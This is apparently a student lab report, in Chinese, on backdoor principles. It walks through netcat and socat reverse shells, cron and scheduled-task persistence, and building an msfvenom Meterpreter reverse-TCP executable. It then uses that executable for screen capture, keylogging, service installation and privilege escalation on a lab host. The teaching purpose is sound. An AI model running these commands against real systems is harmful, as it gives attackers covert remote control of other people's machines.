20145330 《网络攻防》 后门原理与实践
一、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式？
- 使用安装介质，例如光盘或刻录的U盘将后门安装进系统。
(2)例举你知道的后门如何启动起来(win及linux)的方式？
- 修改系统配置
- 添加启动项
- 修改默认的Shell程序（默认为Explorer.exe,在登陆后失效）
- 添加用户初始化程序（默认有一个Userinit.exe,在登陆后失效）
- 系统服务和驱动程序方式
- 安装自己的服务和驱动程序（调用CreatService Win32 API函数）
- 修改原有的服务和驱动配置
- 替换原有的服务和驱动程序文件
- 替换或感染系统文件方式
(3)Meterpreter有哪些给你印象深刻的功能？
- 得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息这些“惊悚”的功能都挺令我印象深刻的
(4)如何发现自己有系统有没有被安装后门？
- 用杀毒软件查杀
- 查看自己主机上有哪些用户，再查看用户权限
二、实践过程记录
1. 用nc获取远程主机的Shell
netcat:建立tcp连接将收到的内容发出去
linux ip:192.168.124.128
windows ip:192.168.1.221
1.1 linux获取windows的shell
1.在kali下使用命令nc -l -p 5330对端口5330开始监听
2.下载老师的附件ncat.rar,解压后放在一个可以找到路径的文件夹下
在windows的cmd下输入ncat.exe -e cmd 192.168.124.128 5330实现Windows反弹连接Linux
3.返回Linux下看到Windows的命令提示，并使用ipconfig验证
1.2 windows获取linux的shell
1.windows 打开监听，端口为5330,ncat.exe -l -p 5330
2.Linux进行反弹连接win
3.windows下获得一个linux shell，运行ls（可运行任何指令）
1.3 cron启动
使用crontab -e修改配置文件，根据格式m h dom mon dow user command来填写启动的时间
使用crontab -l查看配置文件
kali系统内每分钟自动运行指令，反弹至pc端的5330端口
2 使用socat获取主机操作Shell
1.linux上用socat tcp-listen:5330把cmd绑定到端口5330
2.socat tcp-l:5330 system:bash,pty,stderrlinux反弹连接win
3.windows使用socat readline tcp:192.168.124.128 5330开启监听,监听成功后可进行任何操作，此处执行ls
- 任务计划启动
在控制面板-管理工具-任务计划程序-创建任务
输入命令 nc -l -p 5330进行测试
3 Meterpreter
3.1 生成20145330.exe
将可执行文件20145330.exe生成并复制在linux下，会将后门写入这个文件中。（注意此处ip为你虚拟机的ip~)
root@KaliYL:/home/YL# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.221 LPORT=330 -f exe > 20145330.exe
在home/TL路径下找到20145330.exe复制到win中
3.2 MSF打开监听进程
等待一会直到出现msf>继续完成
检查过程中突然发现没改端口号！！吓出一身冷汗试了下还好ctrl+C后可以再次更改，最后重新exploit
双击win中20145330.exe并没有反应，排查不出错误所以只好重新来...
这次为swx5330.exe，双击后监听已经开始了，在windows中运行之前的后门程序可以成功获取shell
4 使用MSF meterpreter
（此处我的靶机就是我自己的电脑...）
1.查看靶机信息
2.对靶机截屏
3.记录靶机键盘输入
4.安装为服务系统
（尝试第一种时失败第二种成功）
5.获取目标主机的提权
三、实验总结与体会
这次实验在多次尝试失败尝试失败中艰难成功完成了...对实验本身的掌握更深刻了。所以要经常用杀毒软件查杀电脑，好好保护电脑。